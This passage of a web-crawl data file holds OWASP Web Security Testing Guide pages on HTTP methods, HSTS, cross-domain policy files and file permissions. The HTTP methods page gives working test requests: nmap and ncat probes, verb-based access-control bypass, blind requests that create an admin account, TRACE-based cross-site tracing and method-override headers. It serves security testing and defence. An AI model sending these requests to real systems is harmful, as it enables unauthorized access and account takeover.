interfaces, including form-based HTTP authentication.\n- A brute forcer is much better when it uses a good dictionary, for example the [netsparker](https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/) dictionary.\n\n## References\n\n- [Cirt: Default Password list](https://cirt.net/passwords)\n- [FuzzDB can be used to do brute force browsing admin login path](https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/predictable-filepaths/login-file-locations/Logins.txt)\n- [Common admin or debugging parameters](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/business-logic/CommonDebugParamNames.txt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6365, "slov": 805, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:03", "sha256": "edeaec05d05c33bdbc51b4eeae4e6ddf1a636f59714b2e206af4e23618630681", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.exploit-db.com/google-hacking-database", "https://www.zaproxy.org/docs/desktop/addons/forced-browse/", "https://github.com/vanhauser-thc/thc-hydra", "https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/", "https://cirt.net/passwords", "https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/predictable-filepaths/login-file-locations/Logins.txt", "https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/business-logic/CommonDebugParamNames.txt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test HTTP Methods"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Discover the Supported Methods"}, {"uroven": 4, "text": "Testing the PUT Method"}, {"uroven": 3, "text": "Testing for Access Control Bypass"}, {"uroven": 3, "text": "Testing for Cross-Site Tracing Potential"}, {"uroven": 3, "text": "Testing for HTTP Method Overriding"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test HTTP Methods\n\n| ID |\n| --- |\n| WSTG-CONF-06 |\n\n## Summary\n\nHTTP offers a number of methods that can be used to perform actions on the web server (the HTTP 1.1 standard refers to them as `methods` but they are also commonly described as `verbs`). While GET and POST are by far the most common methods that are used to access information provided by a web server, HTTP allows several other (and somewhat less known) methods. Some of these can be used for nefarious purposes if the web server is misconfigured.\n\n[RFC 7231 – Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content](https://tools.ietf.org/html/rfc7231) defines the following valid HTTP request methods, or verbs:\n\n- [`GET`](https://tools.ietf.org/html/rfc7231#section-4.3.1)\n- [`HEAD`](https://tools.ietf.org/html/rfc7231#section-4.3.2)\n- [`POST`](https://tools.ietf.org/html/rfc7231#section-4.3.3)\n- [`PUT`](https://tools.ietf.org/html/rfc7231#section-4.3.4)\n- [`DELETE`](https://tools.ietf.org/html/rfc7231#section-4.3.5)\n- [`CONNECT`](https://tools.ietf.org/html/rfc7231#section-4.3.6)\n- [`OPTIONS`](https://tools.ietf.org/html/rfc7231#section-4.3.7)\n- [`TRACE`](https://tools.ietf.org/html/rfc7231#section-4.3.8)\n\nHowever, most web applications only need to respond to GET and POST requests, receiving user data in the URL query string or appended to the request respectively. The standard `
` style links as well as forms defined without a method trigger a GET request; form data submitted via `
` trigger POST requests. JavaScript and AJAX calls may send methods other than GET and POST but should usually not need to do that. Since the other methods are so rarely used, many developers do not know, or fail to take into consideration, how the web server or application framework’s implementation of these methods impact the security features of the application.\n\n## Test Objectives\n\n- Enumerate supported HTTP methods.\n- Test for access control bypass.\n- Test XST vulnerabilities.\n- Test HTTP method overriding techniques.\n\n## How to Test\n\n### Discover the Supported Methods\n\nTo perform this test, the tester needs some way to figure out which HTTP methods are supported by the web server that is being examined. While the `OPTIONS` HTTP method provides a direct way to do that, verify the server’s response by issuing requests using different methods. This can be achieved by manual testing or something like the [`http-methods`](https://nmap.org/nsedoc/scripts/http-methods.html) Nmap script.\n\nTo use the `http-methods` Nmap script to test the endpoint `/index.php` on the server `localhost` using HTTPS, issue the command:\n\n```\nnmap -p 443 --script http-methods --script-args http-methods.url-path='/index.php' localhost\n```\n\nWhen testing an application that has to accept other methods, e.g. a RESTful Web Service, test it thoroughly to make sure that all endpoints accept only the methods that they require.\n\n#### Testing the PUT Method\n\n1. Capture the base request of the target with a web proxy.\n2. Change the request method to `PUT` and add `test.html` file and send the request to the application server. `PUT /test.html HTTP/1.1\nHost: testing-website\n\n\nHTTP PUT Method is Enabled\n`\n3. If the server response with 2XX success codes or 3XX redirections and then confirm by `GET` request for `test.html` file. The application is vulnerable.\n\nIf the HTTP `PUT` method is not allowed on base URL or request, try other paths in the system.\n\n> NOTE: If you are successful in uploading a web shell you should overwrite it or ensure that the security team of the target are aware and remove the component promptly after your proof-of-concept.\n\nLeveraging the `PUT` method an attacker may be able to place arbitrary and potentially malicious content, into the system which may lead to remote code execution, defacing the site or denial of service.\n\n### Testing for Access Control Bypass\n\nFind a page to visit that has a security constraint such that a GET request would normally force a 302 redirect to a log in page or force a log in directly. Issue requests using various methods such as HEAD, POST, PUT etc. as well as arbitrarily made up methods such as BILBAO, FOOBAR, CATS, etc. If the web application responds with a `HTTP/1.1 200 OK` that is not a log in page, it may be possible to bypass authentication or authorization. The following example uses [Nmap’s `ncat`](https://nmap.org/ncat/).\n\n```\n$ ncat www.example.com 80\nHEAD /admin HTTP/1.1\nHost: www.example.com\n\nHTTP/1.1 200 OK\nDate: Mon, 18 Aug 2008 22:44:11 GMT\nServer: Apache\nSet-Cookie: PHPSESSID=pKi...; path=/; HttpOnly\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nSet-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com\nSet-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com\nSet-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com\nContent-Language: EN\nConnection: close\nContent-Type: text/html; charset=ISO-8859-1\n```\n\nIf the system appears vulnerable, issue CSRF-like attacks such as the following to exploit the issue more fully:\n\n- `HEAD /admin/createUser.php?member=myAdmin`\n- `PUT /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123`\n- `CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add`\n\nUsing the above three commands, modified to suit the application under test and testing requirements, a new user would be created, a password assigned, and the user made an administrator, all using blind request submission.\n\n### Testing for Cross-Site Tracing Potential\n\nNote: in order to understand the logic and the goals of a cross-site tracing (XST) attack, one must be familiar with [cross-site scripting attacks](https://owasp.org/www-community/attacks/xss/).\n\nThe `TRACE` method, intended for testing and debugging, instructs the web server to reflect the received message back to the client. This method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users’ credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [HttpOnly](https://owasp.org/www-community/HttpOnly) attribute that aims to protect cookies from being accessed by JavaScript. However, the TRACE method can be used to bypass this protection and access the cookie even when this attribute is set.\n\nTest for cross-site tracing potential by issuing a request such as the following:\n\n```\n$ ncat www.victim.com 80\nTRACE / HTTP/1.1\nHost: www.victim.com\nRandom: Header\n\nHTTP/1.1 200 OK\nRandom: Header\n...\n```\n\nThe web server returned a 200 and reflected the random header that was set in place. To further exploit this issue:\n\n```\n$ ncat www.victim.com 80\nTRACE / HTTP/1.1\nHost: www.victim.com\nAttack: \n```\n\nThe above example works if the response is being reflected in the HTML context.\n\nIn older browsers, attacks were pulled using [XHR](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) technology, which leaked the headers when the server reflects them (*e.g.* Cookies, Authorization tokens, etc.) and bypassed security measures such as the [HttpOnly](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes#httponly-attribute) attribute. This attack can be pulled in recent browsers only if the application integrates with technologies similar to Flash.\n\n### Testing for HTTP Method Overriding\n\nSome web frameworks provide a way to override the actual HTTP method in the request by emulating the missing HTTP verbs passing some custom header in the requests. The main purpose of this is to circumvent some middleware (e.g. proxy, firewall) limitation where methods allowed usually do not encompass verbs such as `PUT` or `DELETE`. The following alternative headers could be used to do such verb tunneling:\n\n- `X-HTTP-Method`\n- `X-HTTP-Method-Override`\n- `X-Method-Override`\n\nIn order to test this, in the scenarios where restricted verbs such as PUT or DELETE return a “405 Method not allowed”, replay the same request with the addition of the alternative headers for HTTP method overriding, and observe how the system responds. The application should respond with a different status code (*e.g.* 200) in cases where method overriding is supported.\n\nThe web server in the following example does not allow the `DELETE` method and blocks it:\n\n```\n$ ncat www.example.com 80\nDELETE /resource.html HTTP/1.1\nHost: www.example.com\n\nHTTP/1.1 405 Method Not Allowed\nDate: Sat, 04 Apr 2020 18:26:53 GMT\nServer: Apache\nAllow: GET,HEAD,POST,OPTIONS\nContent-Length: 320\nContent-Type: text/html; charset=iso-8859-1\nVary: Accept-Encoding\n```\n\nAfter adding the `X-HTTP-Header`, the server responds to the request with a 200:\n\n```\n$ ncat www.example.com 80\nDELETE /resource.html HTTP/1.1\nHost: www.example.com\nX-HTTP-Method: DELETE\n\nHTTP/1.1 200 OK\nDate: Sat, 04 Apr 2020 19:26:01 GMT\nServer: Apache\n```\n\n## Remediation\n\n- Ensure that only the required headers are allowed, and that the allowed headers are properly configured.\n- Ensure that no workarounds are implemented to bypass security measures implemented by user-agents, frameworks, or web servers.\n\n## Tools\n\n- [Ncat](https://nmap.org/ncat/)\n- [cURL](https://curl.haxx.se/)\n- [nmap http-methods NSE script](https://nmap.org/nsedoc/scripts/http-methods.html)\n- [w3af plugin htaccess_methods](http://w3af.org/plugins/audit/htaccess_methods)\n\n## References\n\n- [RFC 2109](https://tools.ietf.org/html/rfc2109) and [RFC 2965](https://tools.ietf.org/html/rfc2965) : “HTTP State Management Mechanism”\n- [HTACCESS: BILBAO Method Exposed](https://web.archive.org/web/20160616172703/http://www.kernelpanik.org/docs/kernelpanik/bme.eng.pdf)\n- [Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the need for TRACE”](https://www.securityfocus.com/archive/107/308433)\n- [Fortify - Misused HTTP Method Override](https://vulncat.fortify.com/en/detail?id=desc.dynamic.xtended_preview.often_misused_http_method_override)\n- [CAPEC-107: Cross Site Tracing](https://capec.mitre.org/data/definitions/107.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10181, "slov": 1410, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:04", "sha256": "3eff87cf8e6db17ff037ba70ea7ab6c6f9f04375ae92342db91c1bfdde498226", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc7231", "https://nmap.org/nsedoc/scripts/http-methods.html", "https://nmap.org/ncat/", "https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest", "https://curl.haxx.se/", "http://w3af.org/plugins/audit/htaccess_methods", "https://tools.ietf.org/html/rfc2109", "https://tools.ietf.org/html/rfc2965", "http://www.kernelpanik.org/docs/kernelpanik/bme.eng.pdf", "https://www.securityfocus.com/archive/107/308433", "https://vulncat.fortify.com/en/detail?id=desc.dynamic.xtended_preview.often_misused_http_method_override", "https://capec.mitre.org/data/definitions/107.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test HTTP Strict Transport Security"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test HTTP Strict Transport Security\n\n| ID |\n| --- |\n| WSTG-CONF-07 |\n\n## Summary\n\nThe HTTP Strict Transport Security (HSTS) feature lets a web application inform the browser through the use of a special response header that it should never establish a connection to the specified domain servers using un-encrypted HTTP. Instead, it should automatically establish all connection requests to access the site through HTTPS. It also prevents users from overriding certificate errors.\n\nConsidering the importance of this security measure it is prudent to verify that the web site is using this HTTP header in order to ensure that all the data travels encrypted between the web browser and the server.\n\nThe HTTP strict transport security header uses two directives:\n\n- `max-age` : to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.\n- `includeSubDomains` : to indicate that all related sub-domains must use HTTPS.\n- `preload` Unofficial: to indicate that the domain(s) are on the preload list(s) and that browsers should never connect without HTTPS.\n - This is supported by all major browsers but is not official part of the specification. (See [hstspreload.org](https://hstspreload.org/) for more information.)\n\nHere’s an example of the HSTS header implementation:\n\n`Strict-Transport-Security: max-age=31536000; includeSubDomains`\n\nThe use of this header by web applications must be checked to find if the following security issues could be produced:\n\n- Attackers sniffing the network traffic and accessing the information transferred through an un-encrypted channel.\n- Attackers exploiting a manipulator in the middle attack because of the problem of accepting certificates that are not trusted.\n- Users who mistakenly entered an address in the browser putting HTTP instead of HTTPS, or users who click on a link in a web application which mistakenly indicated use of the HTTP protocol.\n\n## Test Objectives\n\n- Review the HSTS header and its validity.\n\n## How to Test\n\nThe presence of the HSTS header can be confirmed by examining the server’s response through an intercepting proxy or by using curl as follows:\n\n```\n$ curl -s -D- https://owasp.org | grep -i strict\nStrict-Transport-Security: max-age=31536000\n```\n\n## References\n\n- [OWASP HTTP Strict Transport Security](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security](https://www.youtube.com/watch?v=zEV3HOuM_Vw)\n- [HSTS Specification](https://tools.ietf.org/html/rfc6797)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2632, "slov": 361, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:05", "sha256": "ddd42e1cb8040871d61a0990a3800ee9e541cc5dbb2570a07a814cf159575735", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://hstspreload.org/", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://www.youtube.com/watch?v=zEV3HOuM_Vw", "https://tools.ietf.org/html/rfc6797", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test RIA Cross Domain Policy"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "What are cross-domain policy files?"}, {"uroven": 4, "text": "Crossdomain.xml vs. Clientaccesspolicy.xml"}, {"uroven": 3, "text": "How can cross domain policy files can be abused?"}, {"uroven": 3, "text": "Impact of Abusing Cross-Domain Access"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for RIA Policy Files Weakness"}, {"uroven": 4, "text": "Example"}, {"uroven": 5, "text": "Result Expected"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test RIA Cross Domain Policy\n\n| ID |\n| --- |\n| WSTG-CONF-08 |\n\n## Summary\n\nRich Internet Applications (RIA) have adopted Adobe’s crossdomain.xml policy files to allow for controlled cross domain access to data and service consumption using technologies such as Oracle Java, Silverlight, and Adobe Flash. Therefore, a domain can grant remote access to its services from a different domain. However, often the policy files that describe the access restrictions are poorly configured. Poor configuration of the policy files enables Cross-site Request Forgery attacks, and may allow third parties to access sensitive data meant for the user.\n\n### What are cross-domain policy files?\n\nA cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader, etc. use to access data across different domains. For Silverlight, Microsoft adopted a subset of the Adobe’s crossdomain.xml, and additionally created it’s own cross-domain policy file: clientaccesspolicy.xml.\n\nWhenever a web client detects that a resource has to be requested from other domain, it will first look for a policy file in the target domain to determine if performing cross-domain requests, including headers, and socket-based connections are allowed.\n\nMaster policy files are located at the domain’s root. A client may be instructed to load a different policy file but it will always check the master policy file first to ensure that the master policy file permits the requested policy file.\n\n#### Crossdomain.xml vs. Clientaccesspolicy.xml\n\nMost RIA applications support crossdomain.xml. However in the case of Silverlight, it will only work if the crossdomain.xml specifies that access is allowed from any domain. For more granular control with Silverlight, clientaccesspolicy.xml must be used.\n\nPolicy files grant several types of permissions:\n\n- Accepted policy files (Master policy files can disable or restrict specific policy files)\n- Sockets permissions\n- Header permissions\n- HTTP/HTTPS access permissions\n- Allowing access based on cryptographic credentials\n\nAn example of an overly permissive policy file:\n\n```\n \n```\n\n### How can cross domain policy files can be abused?\n\n- Overly permissive cross-domain policies.\n- Generating server responses that may be treated as cross-domain policy files.\n- Using file upload functionality to upload files that may be treated as cross-domain policy files.\n\n### Impact of Abusing Cross-Domain Access\n\n- Defeat CSRF protections.\n- Read data restricted or otherwise protected by cross-origin policies.\n\n## Test Objectives\n\n- Review and validate the policy files.\n\n## How to Test\n\n### Testing for RIA Policy Files Weakness\n\nTo test for RIA policy file weakness the tester should try to retrieve the policy files crossdomain.xml and clientaccesspolicy.xml from the application’s root, and from every folder found.\n\nFor example, if the application’s URL is `http://www.owasp.org`, the tester should try to download the files `http://www.owasp.org/crossdomain.xml` and `http://www.owasp.org/clientaccesspolicy.xml`.\n\nAfter retrieving all the policy files, the permissions allowed should be be checked under the least privilege principle. Requests should only come from the domains, ports, or protocols that are necessary. Overly permissive policies should be avoided. Policies with `*` in them should be closely examined.\n\n#### Example\n\n```\n \n```\n\n##### Result Expected\n\n- A list of policy files found.\n- A list of weak settings in the policies.\n\n## Tools\n\n- Nikto\n- OWASP Zed Attack Proxy Project\n- W3af\n\n## References\n\n- Adobe: [“Cross-domain policy file specification”](http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html)\n- Adobe: [“Cross-domain policy file usage recommendations for Flash Player”](http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html)\n- Oracle: [“Cross-Domain XML Support”](http://www.oracle.com/technetwork/java/javase/plugin2-142482.html#CROSSDOMAINXML)\n- MSDN: [“Making a Service Available Across Domain Boundaries”](http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx)\n- MSDN: [“Network Security Access Restrictions in Silverlight”](http://msdn.microsoft.com/en-us/library/cc645032(v=vs.95).aspx)\n- Stefan Esser: [“Poking new holes with Flash Crossdomain Policy Files”](http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html)\n- Jeremiah Grossman: [“Crossdomain.xml Invites Cross-site Mayhem”](http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html)\n- Google Doctype: [“Introduction to Flash security”](http://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurity)\n- UCSD: [Analyzing the Crossdomain Policies of Flash Applications](http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5167, "slov": 639, "odkazu": 187, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:06", "sha256": "ccc1e93b8c25288ed371158bfbfa50ca4a8b48c794029261dea04e4405afbb33", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html", "http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html", "http://www.oracle.com/technetwork/java/javase/plugin2-142482.html", "http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx", "http://msdn.microsoft.com/en-us/library/cc645032(v=vs.95).aspx", "http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html", "http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html", "http://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurity", "http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test File Permission"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test File Permission\n\n| ID |\n| --- |\n| WSTG-CONF-09 |\n\n## Summary\n\nWhen a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data.\n\nA clear example is an execution file that is executable by unauthorized users. For another example, account information or a token value to access an API - increasingly seen in modern web services or microservices - may be stored in a configuration file whose permissions are set to world-readable from the installation by default. Such sensitive data can be exposed by internal malicious actors of the host or by a remote attacker who compromised the service with other vulnerabilities but obtained only a normal user privilege.\n\n## Test Objectives\n\n- Review and identify any rogue file permissions.\n\n## How to Test\n\nIn Linux, use `ls` command to check the file permissions. Alternatively, `namei` can also be used to recursively list file permissions.\n\n`$ namei -l /PathToCheck/`\n\nThe files and directories that require file permission testing include but are not limited to:\n\n- Web files/directory\n- Configuration files/directory\n- Sensitive files (encrypted data, password, key)/directory\n- Log files (security logs, operation logs, admin logs)/directory\n- Executables (scripts, EXE, JAR, class, PHP, ASP)/directory\n- Database files/directory\n- Temp files /directory\n- Upload files/directory\n\n## Remediation\n\nSet the permissions of the files and directories properly so that unauthorized users cannot access critical resources unnecessarily.\n\n## Tools\n\n- [Windows AccessEnum](https://technet.microsoft.com/en-us/sysinternals/accessenum)\n- [Windows AccessChk](https://technet.microsoft.com/en-us/sysinternals/accesschk)\n- [Linux namei](https://linux.die.net/man/1/namei)\n\n## References\n\n- [CWE-732: Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2160, "slov": 272, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:07", "sha256": "bf3436a2a95190bf601b3227a9b2228441dbc3d00674e8358cdbd259df718323", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://technet.microsoft.com/en-us/sysinternals/accessenum", "https://technet.microsoft.com/en-us/sysinternals/accesschk", "https://linux.die.net/man/1/namei", "https://cwe.mitre.org/data/definitions/732.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": 